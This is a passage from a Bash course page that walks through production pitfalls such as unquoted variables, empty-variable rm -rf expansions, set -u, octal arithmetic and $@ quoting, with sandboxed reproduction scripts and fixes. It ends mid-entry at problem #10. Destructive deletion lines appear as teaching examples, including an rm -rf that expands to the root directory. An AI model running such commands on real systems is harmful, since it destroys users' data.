Bash Hour 8 (optional): 50 production problems + 50 interview questions

Two skills: when you see a Bash error (or “no error but wrong result”), you know which step it comes from (quoting and expansion, control flow and input, error handling and signals, environment and portability), and you can type the first diagnostic command. In an interview, explain in two minutes how a command line is parsed, expanded, executed and returns an exit code, and review a flawed script on the spot
A: 50 production problemsB: 50 interview questionsBash 5.3 (5.2 / 3.2 difference notes)Verified 2026-11-17
Overall learning goals
  • When you see a raw error message ($'\r': command not found,unary operator expected,unbound variable,value too great for base,bad interpreter,[[: not found...) or a “silent error” (empty backup, counter always 0, only the first host processed), determine which of: quoting/expansion/variables, control flow/input/text processing, error handling/signals/concurrency, environment/portability/CI/security category it belongs to, and name the first diagnostic command.
  • Understand mechanics: seven-step expansion and word splitting, pathname expansion and nullglob/failglob, pipeline segments each run in a subshell,read 's return value and IFS,set -e 's exception rules (Bash manual wording),pipefail and SIGPIPE (141),trap 's inheritance and trigger order, fork/exec and exit codes 126/127/128+N, the minimal environment of cron/CI,sh (dash) and Bash 3.2 syntax differences.
  • In ~/bashlab/lab8/ use reproduction scripts of no more than 10 lines reproducing, fixing, verifying and cleaning up all 50 problems; over 40 raw error messages were obtained on Bash 5.3.20 / 5.2.21 by actually running them.
  • Answer the 50 questions using the pattern “30-second answer → principles → code → production experience”, for Senior Cloud / DevOps Engineer junior/mid/senior-level Bash interview questions, including 6 code-review questions (find the flaws within a time limit and give a corrected version).
  • Use mock interviews (timed, with self-assessment) to quantify your mastery rate and find weak modules.

1-hour time allocation table

#TimeModuleCore contentAnimations · interactionsLab
0Before classInstructions and fault lab environmentConfirm the Bash version; set up ~/bashlab/lab8/ (reproduction-script directory + a disposable sandbox sandbox/); generate helper scripts lab8.sh; optional bash:5.3 containers and dashenvironment self-checkGenerate lab8.sh
100–08A · Quoting, expansion and variablesProblems 1–12: unquoted variables deleting the wrong files, empty variables + rm -rf,unbound variable,unary operator expected,for f in $(ls), wildcards kept literal, and the characters inside quotes ~, octal 08, command substitution eating newlines and NUL,$* and "$@", command injection via concatenation,read swallowing backslashesExpansion-pipeline simulator for a one-line commandWord splitting · empty-variable guards · octal · injection
208–16A · Control flow, input and text processingProblems 13–25: CRLF ($'\r'),while read lost last line, pipe subshell losing variables, loop body swallowing stdin, string vs integer comparison,$? overwritten, here-doc terminators, locale changing sort order, decimal point and locale,grep no-match making the script exit,xargs and quoting, BSD sed -i,jq output null“Loop / input is wrong” troubleshooting decision treeCRLF · last line · subshell · stdin swallowed
316–24A · Error handling, signals and concurrencyProblems 26–38: set -e not exiting,local x=$(…) masking failures, empty backup without pipefail, pipefail + head yielding 141,((i++)) making the script exit,cd after a failure rm, ERR trap not entering functions, signals and cleanup, predictable temp files, cron overlapping runs, background job failures ignored, concurrent writes to the same file,timeout and functionsset -e / pipefail decision simulatorset -e exceptions · pipefail · trap · flock
424–30A · Environment, portability, CI and securityProblems 39–50: cron's PATH,sh running Bash scripts, macOS Bash 3.2, aliases not working in scripts,sudo echo >, relative paths source, CI execute bit and default shell,set -x leaking secrets, exit codes > 255, GNU/BSD/BusyBox differences, unexported variables, starting with - file-name injection“Works locally, fails in cron/CI/containers” troubleshooting decision treeminimal environment · dash · option injection
530–37B · Shell mechanics and basicsInterview 1–13Mock interview2 scenario questions
637–44B · Script design and data processingInterview 14–25Mock interview2 scenario questions
744–52B · Robustness, testing and debuggingInterview 26–38Mock interview3 scenario questions
852–60B · Real-world scenarios and code reviewInterview 39–50 (including 6 code-review questions)Mock interview3 scenario questions
—After classCheat sheet · Comprehensive exercises50 “error → first command → fix” items; 50 flash cards; 8 mixed faults; full mock interviewsFull mock interviews12-question final quiz

Knowledge coverage matrix

Topicm1m2m3m4m5m6m7m8
Parsing, seven-step expansion, quoting and word splitting●●—●●●—●
Variables, arrays, environment and subshells●●●●●●—●
Conditionals, loops and read / IFS●●●—●●—●
Exit codes, set -e / -u / pipefail●●●●●—●●
trap, signals, temp files, locks and concurrency——●———●●
Text processing: grep / sed / awk / sort / xargs / jq—●—●—●—●
Execution environment for cron / CI / containers——●●●—●●
Portability: POSIX sh, dash, Bash 3.2, BusyBox, BSD—●—●●—●—
Security: injection, eval, secrets, untrusted file names●—●●—●●●
Testing, debugging and static checks (bats, set -x, ShellCheck)——●●——●●

Not covered in this course (where to learn)

  • Full coverage of each topic: shell mechanics, quoting, expansion, redirection → Lesson 1; parameter expansion, arrays, conditionals, loops,read → Lesson 2; functions, scope, modularity and opsctl v0.1 → Lesson 3; strict mode, trap, temp files, locks, retries → Lesson 4; grep / sed / awk / find / jq → Lesson 5; HTTP, cloud CLIs, deployment, cron, CI → Lesson 6; debugging, ShellCheck, shfmt, bats, portability → Lesson 7. This lesson only covers “what to do when something goes wrong” and “how to answer in an interview.”
  • System-level faults outside the script (execve permission checks, noexec, systemd 203/EXEC, full disk, OOM) → Linux Lesson 9 (50 production problems); this lesson only references it where directly related to scripts.
  • Version control for scripts, handling line endings and execute bits → Git 8 hours; CI platforms themselves → GitHub 8 hours,GitLab 8 hours; when scripts grow large enough to need idempotency and inventory management → Ansible 8 hours.

How to use this lesson

When troubleshooting (Part A)
  • In the module Quick look filter box, paste the most distinctive word from the error (e.g. unbound,\r,unary,not found,141,null).
  • Click a row to jump to the problem details, and follow “diagnose → compare output → fix”.
  • Wrong result with no error? Use the Animation page simulators / decision trees to locate it.
Before interviews (Part B)
  • First look at Quick look, and pick out the questions you are least sure of by difficulty.
  • Mock interview: random questions, 2-minute countdown, answer first then check, self-rate as “answered / partial / not sure”; scores are stored in this browser.
  • Answer structure: One-sentence conclusion → mechanism → code → pitfalls encountered; code-review questions are ordered by “correctness → security → maintainability”.
After class
  • Cheat sheet Suitable for printing and posting at your desk.
  • Comprehensive exercises: 8 mixed faults + full mock interviews (10 out of 50) + final quiz.
  • Each question links back to the matching module in lessons 1–7.

Structure of Part A / B entries

Part A · 50 production problems

Symptom → root cause (at the mechanism level) → diagnostic command → expected output → fix → prevention → minimal reproduction script (~/bashlab/lab8/pbNN-*.sh) → see Lesson N for details. Error sources are marked in three ways:Actually run= run on 2026-11-17 using Bash 5.3.20 (official image bash:5.3, Alpine + BusyBox tools) or Bash 5.2.21 (Ubuntu 24.04 / WSL2, GNU coreutils 9.4) real execution;Official docs= quoted from the GNU Bash manual, GitHub Docs, etc.;Depends on the actual output= not verified word for word; prefixes and quoting styles (' and ‘’) and wording vary with the tool implementation (GNU / BusyBox / BSD / Ubuntu 26.04's rust-coreutils) and with locale changes.

Part B · 50 interview questions

Question → 30-second answer → in-depth answer (principles, code) → common follow-ups → bonus points → common wrong answers. Difficulty:JuniorMid-levelSenior. Target roles: Senior Cloud / DevOps / SRE. Module 8 includes 6 code-review questions (Q39, Q40, Q41, Q44, Q49, Q50).

Relationship with the first seven lessons

CourseMost-referenced content in this lesson
Lesson 1: How Bash worksParsing and execution of a command line (lexical analysis → aliases → seven-step expansion → redirection → command lookup → fork/exec or builtin → exit status), quoting, redirection and fds, pipes and exit codes, subshells
Lesson 2: Variables, data and control flow · Lesson 3: Functions and modularityParameter expansion ${var:?}, arithmetic and octal, arrays,[[ ]] and case,while IFS= read -r, process substitution; local, nameref,source and BASH_SOURCE, getopts, the opsctl directory layout and exit-code conventions (0/1/2/3)
Lesson 4: Robustness · Lesson 5: Text and datathe real semantics of strict mode, trap, mktemp, flock, logging, retries and timeouts, injection; grep / sed / awk,find -print0 | xargs -0, sort and locale, jq / yq, CSV boundaries
Lesson 6: Automation in practice · Lesson 7: Testing and portabilitycurl status codes and retries, cloud CLIs, atomic deployment switches, cron and systemd timers, CI; set -x and PS4, ShellCheck, shfmt, bats-core, POSIX sh / dash / Bash 3.2 / BusyBox
Version notes This lesson uses GNU Bash 5.3 as the baseline (released 2025-07; upstream patches had reached, as of the verification date, bash53-020, i.e. 5.3.20, and the official Docker image bash:5.3 is also 5.3.20; Ubuntu 26.04 LTS ships 5.3). Compared with 5.2 (Ubuntu 24.04's 5.2.21), the differences are that 5.3 adds ${ cmd; } / ${| cmd; } non-forking command substitution,GLOBSORT,BASH_TRAPSIG,read -E,source -p,array_expand_once (replacing assoc_expand_once) — the 50 problems behave the same on 5.2 and 5.3; each was verified individually. macOS ships Bash 3.2 (no associative arrays,mapfile,${var,,},set -u under set -u an empty array errors); these are flagged in the relevant problems. Ubuntu 26.04 defaults to rust-coreutils (cp/mv/rm still the GNU version),ls,sort,date and similar tools: error wording may differ from the GNU versions cited in this lesson. Tool versions (verified 2026-11-17): ShellCheck 0.11.0, shfmt v3.14.1, bats-core v1.14.0 (bats-support v0.3.0, bats-assert v2.2.4), jq 1.8.2, yq (mikefarah) v4.54.3, GNU parallel 20261022.

Module 0 · Instructions and fault lab environment

Before class · reuse ~/bashlab; all “dangerous” reproductions are run only in a disposable sandbox ~/bashlab/lab8/sandbox with one reproduction script of no more than 10 lines per problem
10 minutes before classFree locally
Module goals
  • Confirm the Bash version (5.3 or 5.2), and know what sh your /bin/sh points to (on Ubuntu/Debian it is dash, on Alpine it is BusyBox ash, on macOS it is Bash 3.2 running in POSIX mode).
  • Set up ~/bashlab/lab8/: pbNN-*.sh reproduction scripts,sandbox/ disposable directories and helper scripts lab8.sh (create a sandbox, run in a clean environment or under different shells, visualize invisible characters, one-command cleanup).
  • Understand the lab safety rules: any reproduction containing rm is always dry-run first with echo , and run only inside sandbox/ .

Prerequisites

  • Complete Lesson 1, module 0: any Bash 5.x environment (a Linux course linuxlab VM, WSL2, macOS + Homebrew bash, or a container), working directory ~/bashlab, sample data ~/bashlab/data/ (generated by ~/bashlab/make-data.sh produces: access.log,servers.csv,inventory.json,config.yaml, and files with odd names files/).
  • Running project ~/bashlab/opsctl/ (Lesson 3 v0.1 → Lesson 7 v1.0) is optional, but Part B answers use its structure (bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_*.sh,etc/opsctl.conf,test/; exit codes 0/1/2/3; configuration precedence: flag > environment variable OPSCTL_<KEY> > config file > defaults; subcommands servers, config, logs, health, backup, deploy). The dataset ~/bashlab/data is generated by the deterministic script from Lesson 1 make-data.sh that produces: access.log 611 lines (28 5xx entries, 26 4xx entries),servers.csv 12 lines (line 11 contains a quoted "web,api" field),files/ with 15 “odd names”.
  • Optional: dash (bundled with Ubuntu,/bin/sh i.e. dash),shellcheck, Docker (running bash:5.3 and comparing BusyBox tools).

Step 1: environment self-check

echo "$BASH_VERSION"; bash --version | head -1
ls -l "$(command -v sh)"; readlink -f "$(command -v sh)"
command -v dash shellcheck jq flock timeout 2>/dev/null
locale | head -3
5.2.21(1)-release
GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu)
lrwxrwxrwx 1 root root 4 Mar 31  2024 /usr/bin/sh -> dash
/usr/bin/dash
/usr/bin/dash
/usr/bin/flock
/usr/bin/timeout
LANG=C.UTF-8
LANGUAGE=
LC_CTYPE="C.UTF-8"

Lines are omitted when shellcheck / jq is not installed. To get the same 5.3 errors as this lesson on any platform, use the official image: docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (the 2026-11-17 bash:5.3 tag is 5.3.20; note that it is based on Alpine,rm,ls,date,xargs are BusyBox versions, and their error wording differs from GNU; this is itself a live example of problem #48).

Step 2: helper script lab8.sh

mkdir -p ~/bashlab/lab8 && cat > ~/bashlab/lab8/lab8.sh <<'EOF'
# usage: source ~/bashlab/lab8/lab8.sh
L8=~/bashlab/lab8
# create (empty) a disposable sandbox and enter it; dangerous reproductions are done only here
l8_sandbox() { rm -rf -- "$L8/sandbox" && mkdir -p -- "$L8/sandbox" && cd -- "$L8/sandbox" && echo "sandbox: $PWD"; }
# run a script in a cron-like minimal environment: l8_cronlike ./x.sh
l8_cronlike() { env -i HOME="$HOME" LOGNAME="$USER" SHELL=/bin/sh PATH=/usr/bin:/bin /bin/sh -c "$*"; }
# run the same script with bash / dash / bash --posix
l8_shells() { local s; for s in bash dash 'bash --posix'; do printf '== %s\n' "$s"; $s "$1"; printf '(exit=%s)\n' "$?"; done; }
# show invisible characters: \r, \t, line endings, NUL
l8_show() { LC_ALL=C cat -A -- "$@"; }
# one-command cleanup
l8_clean() { cd ~ && rm -rf -- "$L8/sandbox" && echo "lab8 sandbox cleaned"; }
EOF
source ~/bashlab/lab8/lab8.sh && type l8_sandbox | head -1
l8_sandbox is a function

l8_shells in the $s deliberately unquoted, so that bash --posix is split into a command and options. This is one of the few cases where word splitting is used on purpose; in production code, use an array (problem #10).

Step 3: naming convention for reproduction scripts

ConventionNotes
~/bashlab/lab8/pbNN-keyword.shone reproduction script per problem, NN being a two-digit number, for example pb01-unquoted.sh,pb13-crlf.sh; given at the end of each problem's details (no more than 10 lines)
First run it in sandbox/ .l8_sandbox && bash ../pb01-unquoted.sh; for scripts that delete, make the first line cd enter the sandbox and use || exit protection (lesson from problem #31)
observe → fix → run againeach script has a FIX=1 switch or commented-out fix line; after the fix, the output should match the “expected output”

Connection to the previous lesson

  • All the Lesson 7 tools are reused: bash -x and PS4='+ ${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]:-main}: ',shellcheck (this lesson gives the matching SC number for each problem),bats regression tests,shfmt -d.
  • Four troubleshooting questions: Who (which shell: bash or sh? which version? interactive or non-interactive?) → What (raw error message, exit code,PIPESTATUS) → Where (parsing, expansion, redirection, execution, or the post-exit check) → When (a different machine? a different invocation: manual / cron / CI / container? different input: filenames with spaces, a file with no trailing newline?).
  • “No error, but wrong result” is the most common production failure in Bash. The first reaction should always be bash -x rerun + cat -A check the input + declare -p on the variable to see the real value.

Lab safety rules

Delete only inside the sandbox Several problems in this lesson demonstrate “deleting the wrong thing” (#1, #2, #5, #31, #50). Reproduction scripts always: ① on the first line cd ~/bashlab/lab8/sandbox || exit 1; ② dangerous commands are first dry-run with echo ; ③ variable expansion uses "${dir:?}" guards. Never run this lesson's reproduction scripts as root, and do not run them in ~,/ or in a mounted working directory.
source ~/bashlab/lab8/lab8.sh && l8_clean
crontab -l 2>/dev/null | grep -n lab8 || echo "no lab8 cron entries"  # problems #35 and #39: if you added cron entries, remember to delete them

Self-check checklist

Module 1 · Part A: Quoting, expansion and variables (problems 1–12)

00:00 – 08:00 · word splitting and pathname expansion, empty variables and ${var:?}, nounset,[ ] argument count, octal, command substitution,$* / "$@", injection,read -r
8 minutesexpansion order → splitting → globbing12 problems
Learning goals
  • Remember the expansion order: brace → tilde → parameter / arithmetic / command substitution (left to right) → word splitting → pathname expansion → quote removal. Eight of the 12 problems in this module are essentially about “unquoted expansion results being split again and treated as wildcards”.
  • Use three guards: double quotes (prevent splitting and globbing),"${var:?message}" (prevent empty values),-- (prevent being taken as options); also use declare -p,printf '<%s>\n' "$@",bash -x to see variables' real values and argument boundaries.
  • Map each problem to its ShellCheck code (SC2086, SC2115, SC2070, SC2045, SC2088, SC2048, SC2068, SC2162) and block them in CI before merge.

Enter a keyword from the error or symptom (e.g. cannot remove,unbound,unary,base,~,null byte,injection) to filter; click a row to jump to the matching entry in “Problem details”.

#1 rm: cannot remove 'my': No such file or directory (unquoted variable: deleting the wrong file, or failing to delete the right one)
$ f="my file.txt"; rm $f
rm: cannot remove 'my': No such file or directory
rm: cannot remove 'file.txt': No such file or directory

Symptom: Filenames with spaces (user uploads, Windows shares,"report 2026.log") make the cleanup script fail; a split fragment that happens to match an existing file (e.g. my) silently deletes the wrong file.

Root cause: An unquoted $f also undergoes word splitting (by IFS: spaces, tabs, newlines) and pathname expansion (* ? [),rm receive my,file.txt two arguments. Quotes mean “the result is one argument”.

Diagnostic command
set -x; rm $f; set +x  # see the arguments rm actually receives
printf '<%s>\n' $f  # one argument per line; boundaries are obvious
shellcheck cleanup.sh  # SC2086: Double quote to prevent globbing and word splitting.
+ rm my file.txt
<my>
<file.txt>
Fix
rm -- "$f"  # quotes prevent splitting and globbing; -- stops names starting with - from being taken as options (#50)
for f in ./*.log; do rm -- "$f"; done  # loop over files with a glob, not ls (#5)
Prevention
  • Double-quote every expansion: "$var","$(cmd)","${arr[@]}"; leave quotes off only where splitting is truly needed, and comment it.
  • Run in CI shellcheck -S warning; SC2086 is technically a note, but treat it as an error for delete, move and chmod.
  • Put “odd names” in the test data: spaces, newlines,*, leading - (~/bashlab/data/files/).
Minimal reproduction ~/bashlab/lab8/pb01-unquoted.sh
cd ~/bashlab/lab8/sandbox || exit 1
touch "my file.txt" my  # a file with a space, plus a file named exactly my
f="my file.txt"
rm $f  # deletes my; reports that file.txt does not exist; "my file.txt" is still there
ls -1  # fix: rm -- "$f"

See Lesson 1 Module 3: Quoting,Lesson 1 Module 4: The seven steps of expansion.

#2 rm -rf "$DIR/"* becomes rm -rf /* when DIR is empty (empty-variable disaster)
$ d=""; echo rm -rf "$d/"*
rm -rf /bin /dev /etc /home /lib /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /w

Symptom:rm -rf "$STEAMROOT/"*,rm -rf "$BUILD_DIR"/* When the variable is empty (typo, config not loaded,cd fails, or command substitution returns nothing) wipes out the root or home directory: Bash's number-one incident.

Root cause: When the variable is empty, "$d/"* becomes /*, i.e. every entry in the root directory. Quotes prevent splitting but not empty values; unset and empty variables both silently expand to nothing.

Diagnostic command
declare -p BUILD_DIR 2>&1  # whether it is set, and whether it is empty
bash -n cleanup.sh && shellcheck cleanup.sh  # SC2115: Use "${var:?}" to ensure this never expands to /* .
grep -nE 'rm -[a-zA-Z]*r[a-zA-Z]* .*\$' *.sh  # audit all recursive deletes
cleanup.sh:5:8: warning: Use "${var:?}" to ensure this never expands to /* . [SC2115]
Fix
: "${BUILD_DIR:?BUILD_DIR must be set}"  # exit immediately with a non-zero code if unset or empty
rm -rf -- "${BUILD_DIR:?}/"*
# Safer: confirm the target is the expected directory before deleting
[[ -d $BUILD_DIR && $BUILD_DIR == /srv/app/build/* ]] || { echo "refuse: $BUILD_DIR" >&2; exit 2; }
d.sh: line 2: d: parameter null or not set  # exit code 1; rm did not run
Prevention
  • rm -rf Always treat path parameters as ${var:?}: set -u (#3) catches unset values,:? and also catches empty ones.
  • Check an allowed-prefix whitelist before deleting, or remove a dedicated directory as a whole (rm -rf -- "$tmpdir",tmpdir=$(mktemp -d)), rather than emptying its contents.
  • Do not run unreviewed cleanup scripts as root; GNU rm rm by default --preserve-root only guards rm -rf /, not rm -rf /*.
Minimal reproduction ~/bashlab/lab8/pb02-empty-var.sh
cd ~/bashlab/lab8/sandbox || exit 1
BUILD_DIR=""  # simulates a config that was not loaded
echo rm -rf "$BUILD_DIR/"*  # preview only! shows /bin /etc …
rm -rf -- "${BUILD_DIR:?BUILD_DIR must be set}/"*  # fix: fails and exits right here

See Lesson 2 Module 1: Parameter expansion,Lesson 4 Module 7: Security.

#3 bash: line 1: $1: unbound variable / UNDEFINED_X: unbound variable (set -u)
$ bash -c 'set -u; echo "deploy to $1"'
bash: line 1: $1: unbound variable  # exit code 127 under bash -c
$ bash u.sh  # in a script file
u.sh: line 2: UNDEFINED_X: unbound variable  # exit code 1

Symptom: Under strict mode, the script exits immediately when run with no arguments, with an optional environment variable unset, or with source third-party scripts (/etc/profile.d/*.sh, an older venv activate) — it exits immediately.

Root cause:set -u (nounset) makes expanding an unset variable an error (@ / * and ${arr[@]} are exempt) to catch typos; optional arguments and environment variables need defaults. Since 4.4, an empty array "${arr[@]}" does not error, but macOS's bundled Bash 3.2 reports arr[@]: unbound variable.

Diagnostic command
bash -x deploy.sh 2>&1 | tail -3  # see the last line that ran
declare -p UNDEFINED_X 2>&1  # bash: declare: UNDEFINED_X: not found
[[ -v UNDEFINED_X ]] && echo set || echo unset
Fix
target=${1:-staging}  # default value for an optional argument
: "${API_URL:?API_URL is required}"  # fail explicitly for required variables, with a message
if [[ -n ${DEBUG:-} ]]; then set -x; fi
set +u; source venv/bin/activate; set -u  # temporarily disable only for uncontrolled third-party scripts
deploy to staging
Prevention
  • Parse arguments and set defaults uniformly at the top (the main pattern from opsctl in Lesson 3), and afterwards do not use $1 directly.
  • For Bash 3.2 compatibility, iterate over a possibly empty array with ${arr[@]+"${arr[@]}"}.
  • set -u It cannot catch empty values; dangerous paths still need :? (#2).
Minimal reproduction ~/bashlab/lab8/pb03-nounset.sh
#!/usr/bin/env bash
set -u
echo "deploy to $1"  # run with no arguments: $1: unbound variable
# fix: echo "deploy to ${1:-staging}"

See Lesson 4 Module 1: Strict mode,Lesson 2 Module 1: Parameter expansion.

#4 bash: [: =: unary operator expected / [: too many arguments
$ v=""; [ $v = "x" ]
bash: line 1: [: =: unary operator expected
$ v="a b"; [ $v = "x" ]
bash: line 1: [: too many arguments
$ v=""; [ -n $v ] && echo "non-empty?!"
non-empty?!

Symptom: Conditional tests sometimes error (exit code 2); the sneakiest case is v when empty, [ -n $v ] is true with no error, so the "run only if non-empty" branch runs anyway.

Root cause:[ is a builtin; its arguments are determined only after parameter expansion and splitting: $v if empty, it becomes [ = x ] (2 arguments); with spaces, it becomes 4; [ -n ] with only 1 argument,-n is treated as a string, and POSIX defines a single non-empty string as true. The keyword [[ ]] does no splitting or pathname expansion on variables.

Diagnostic command
set -x; [ $v = "x" ]; set +x  # + '[' = x ']'
shellcheck check.sh  # SC2070: -n doesn't work with unquoted arguments. Quote or use [[ ]].
Fix
[ "$v" = "x" ]  # POSIX sh: always quote
[[ $v == x ]]  # Bash: prefer [[ ]]
[[ -n $v ]]  # non-empty check
Prevention
  • In Bash, use [[ ]]; for POSIX, use [ "$v" = x ], not == (dash does not support it, #40).
  • For numbers, use (( n > 3 )) / [[ $n -gt 3 ]], not > (string comparison, #17).
Minimal reproduction ~/bashlab/lab8/pb04-test-args.sh
v=""
[ $v = "x" ]; echo "exit=$?"  # unary operator expected, exit=2
[ -n $v ] && echo "BUG: empty treated as non-empty"
[[ -n $v ]] || echo "fixed: empty"

See Lesson 2 Module 4: Conditionals.

#5 wc: report: No such file or directory (for f in $(ls) splits filenames)
$ ls
'report 2026.log'  app.log
$ for f in $(ls *.log); do wc -l "$f"; done
0 app.log
wc: report: No such file or directory
wc: 2026.log: No such file or directory

Symptom: loops skip, split or mishandle filenames containing spaces, newlines,* of filenames; with many files it reports Argument list too long.

Root cause: An unquoted $(ls) is split by IFS, losing filename boundaries, and then pathname expansion is applied; ls its output is meant for people to read (in a terminal it adds quotes and escapes), so it is not a parsing interface.

Diagnostic command
printf '<%s>\n' $(ls *.log)  # see the "words" after splitting
shellcheck loop.sh  # SC2045: Iterating over ls output is fragile. Use globs.
Fix
shopt -s nullglob
for f in ./*.log; do wc -l -- "$f"; done  # current directory: glob
find . -name '*.log' -type f -print0 |
  while IFS= read -r -d '' f; do wc -l -- "$f"; done  # recursive: NUL-separated
mapfile -d '' files < <(find . -name '*.log' -print0)  # when an array is needed (Bash 4.4+)
Prevention
  • Don't parse ls: for lists, use globs or find -print0; for metadata, use stat / find -printf (GNU).
  • For filename streams, use NUL separators: find -print0,xargs -0,read -d '',sort -z,grep -lZ.
Minimal reproduction ~/bashlab/lab8/pb05-ls-loop.sh
cd ~/bashlab/lab8/sandbox || exit 1
touch "report 2026.log" app.log
for f in $(ls *.log); do wc -l "$f"; done  # splits
for f in ./*.log; do wc -l -- "$f"; done  # fix

See Lesson 5 Module 4: find, xargs and safe filename handling.

#6 ls: cannot access '/data/in/*.csv': No such file or directory (literal pattern kept when nothing matches)
$ for f in /data/in/*.csv; do process "$f"; done  # when the directory is empty
process: '/data/in/*.csv': No such file or directory  # (illustrative: the program receives the literal *.csv)
$ ls /nonexist/*.log
ls: cannot access '/nonexist/*.log': No such file or directory
$ for f in /nonexist/*.log; do echo "got: $f"; done
got: /nonexist/*.log

Symptom: with an empty directory, the literal *.csv is treated as a filename: a "file not found" warning, or even *.csv imported into the database, or uploaded as an object named *.csv .

Root cause: By default (POSIX), a pattern with no match is kept as-is; shopt -s nullglob expands to nothing,shopt -s failglob reports an error.

Diagnostic command
shopt nullglob failglob
compgen -G '/data/in/*.csv' || echo "no match"  # use the exit code to check whether anything matches
Fix
shopt -s nullglob
files=(/data/in/*.csv)
(( ${#files[@]} )) || { echo "no input files, skip" >&2; exit 0; }
for f in "${files[@]}"; do process "$f"; done
$ shopt -s failglob; ls /w/nonexist/*.log
bash: line 1: no match: /w/nonexist/*.log
Prevention
  • Lists: use an array + nullglob and count the entries; must exist: failglob or [[ -e $f ]] || continue.
  • nullglob With nullglob set, a pattern with no match ls *.x becomes ls (lists the current directory),rm -f *.x is a no-op; enable it only in the scope where it is needed.
Minimal reproduction ~/bashlab/lab8/pb06-noglob.sh
cd ~/bashlab/lab8/sandbox || exit 1
for f in ./in/*.csv; do echo "processing [$f]"; done  # processing [./in/*.csv]
shopt -s nullglob
for f in ./in/*.csv; do echo "processing [$f]"; done  # prints nothing

See Lesson 1 Module 4: The seven steps of expansion,Lesson 2 Module 5: Loops.

#7 cd: ~/bashlab: No such file or directory (tilde not expanded inside quotes)
$ d="~/bashlab"; cd "$d"
bash: line 1: cd: ~/bashlab: No such file or directory
$ p="~/x"; ls "$p"
ls: cannot access '~/x': No such file or directory

Symptom: A path from config, an environment variable, or input ~/backups "does not exist" in the script; or it creates a directory literally named ~ , and later someone rm -rf ~ wants to delete it…

Root cause: A tilde expands only at the start of an unquoted word (or after =,: in an assignment), before parameter expansion; inside a variable, ~ is just an ordinary character.

Diagnostic command
declare -p d; ls -la | grep ' ~$'  # check whether a directory named ~ was already created by mistake
shellcheck x.sh  # SC2088: Tilde does not expand in quotes. Use $HOME.
Fix
d="$HOME/bashlab"  # use $HOME in scripts
d=${d/#\~/$HOME}  # when reading config, replace a leading ~ with $HOME
rm -rf -- ./~  # always use the ./ prefix when deleting a mistakenly created directory!
Prevention
  • Adopt absolute paths as a convention in configuration, or normalize them on load (${d/#\~/$HOME} then realpath -m).
  • Don't use eval to expand ~; it is an injection entry point (#11).
Minimal reproduction ~/bashlab/lab8/pb07-tilde.sh
d="~/bashlab"
cd "$d" || echo "cd failed as expected"
d=${d/#\~/$HOME}; cd "$d" && pwd

See Lesson 1 Module 4: The seven steps of expansion.

#8 bash: 09: value too great for base (error token is "09") (leading zeros in dates and numbers)
$ h=09; echo $((h + 1))
bash: line 1: 09: value too great for base (error token is "09")
$ printf '%d\n' 08
bash: line 1: printf: 08: invalid octal number
0

Symptom: Hour, month and day arithmetic on the 8th and 9th (08,09) error, or 010 is read as 8, and numbering silently goes wrong; typically only the 08:00 and 09:00 jobs fail.

Root cause: In arithmetic, 0 a leading 0 means octal,0x and 0x means hexadecimal,8,9 digits 8 and 9 are invalid; date +%H,date +%m and anything with a leading 0.

Diagnostic command
h=$(date +%H); declare -p h  # declare -- h="09"
echo $(( 010 ))  # 8 — silent error
Fix
echo $(( 10#$h + 1 ))  # explicitly specify base 10
h=$(date +%-H)  # GNU date: no zero padding (not supported on BSD/macOS, #48)
h=${h#0}  # or strip one leading 0 (note that "00" becomes "0")
$ d=08; echo $(( 10#$d + 1 ))
9
Prevention
  • Before external numbers (dates, file numbers, version fragments) enter arithmetic, $(( )) prefix them with 10#, and first validate them with [[ $x =~ ^[0-9]+$ ]] (10# still errors on a minus sign or an empty value).
  • Arithmetic contexts treat variable values as expressions: untrusted values entering $(( )) or [[ $x -eq 1 ]] can inject command substitution through array subscripts (Lesson 4 Module 7), so validate first.
Minimal reproduction ~/bashlab/lab8/pb08-octal.sh
for h in 07 08 09 10; do
  echo "$h -> $(( h + 1 ))" 2>&1 || true  # 08 and 09 error
  echo "$h -> $(( 10#$h + 1 )) (fixed)"
done

See Lesson 2 Module 2: Arithmetic and integer pitfalls.

#9 warning: command substitution: ignored null byte in input (command substitution eats trailing newlines and NUL)
$ x=$(printf 'a\0b'); echo "len=${#x}"
t3.sh: line 12: warning: command substitution: ignored null byte in input
len=2
$ v=$(printf 'line1\n\n'); printf '[%s]\n' "$v"
[line1]

Symptom:① binary data (archives, DER certificates,/proc/PID/environ) breaks when written out through a variable; ② a config that loses its trailing blank line makes checksums mismatch; ③$(cat file) comparisons hide differences in trailing newlines.

Root cause: Bash variables are C strings and cannot contain NUL (dropped with a warning since 4.4); command substitution strips all trailing newlines per POSIX. Both are language limits.

Diagnostic command
od -c file | tail -3  # look at the raw bytes
cmp <(printf '%s' "$v") file  # compare the variable with the file
Fix
cp -- src.bin dst.bin  # binary data: skip variables, use the file or a pipe directly
v=$(cat file; echo .); v=${v%.}  # to keep a trailing newline: sentinel-character trick
mapfile -d '' -t envs < /proc/$PID/environ  # NUL-separated data: read into an array
$ v=$(printf 'x\n\n'; echo .); v=${v%.}; printf '[%s]\n' "$v"
[x

]
Prevention
  • Variables hold text only; pass binary or large data by path.
  • Bash 5.3's ${ cmd; } runs in the current shell without forking, also strips trailing newlines, and cannot store NUL.
Minimal reproduction ~/bashlab/lab8/pb09-cmdsubst.sh
x=$(printf 'a\0b'); echo "len=${#x}"  # warning + len=2
v=$(printf 'line1\n\n'); printf '[%s]\n' "$v"  # trailing newlines lost

See Lesson 1 Module 4: The seven steps of expansion,Lesson 3 Module 3: Output and return values.

#10 A wrapper script turns "a b" into two arguments ($* / $@ unquoted)
show(){ printf '<%s>' "$@"; echo; }
wrap1(){ show $*; }      →  <a><b><c>
wrap2(){ show "$*"; }    →  <a b c>
wrap3(){ show "$@"; }    →  <a b><c>  # call: wrapN "a b" c

Symptom:kubectl/az/docker run A wrapper script (run.sh "$@") given an argument with spaces: --message "deploy v2" becomes --message deploy v2, reporting “unrecognized arguments: v2”; or cmd="docker run $opts" re-expands it via $cmd, and the quotes are lost.

Root cause: Only "$@" expands each positional parameter as a separate word; an unquoted $*,$@ is split again; "$*" joins them with the first character of IFS into one string. Quotes inside that string are just characters and cannot restore boundaries.

Diagnostic command
set -x; ./run.sh --message "deploy v2"; set +x
shellcheck run.sh  # SC2048: use "$@" (with quotes) …; SC2068: double-quote array expansions …
Fix
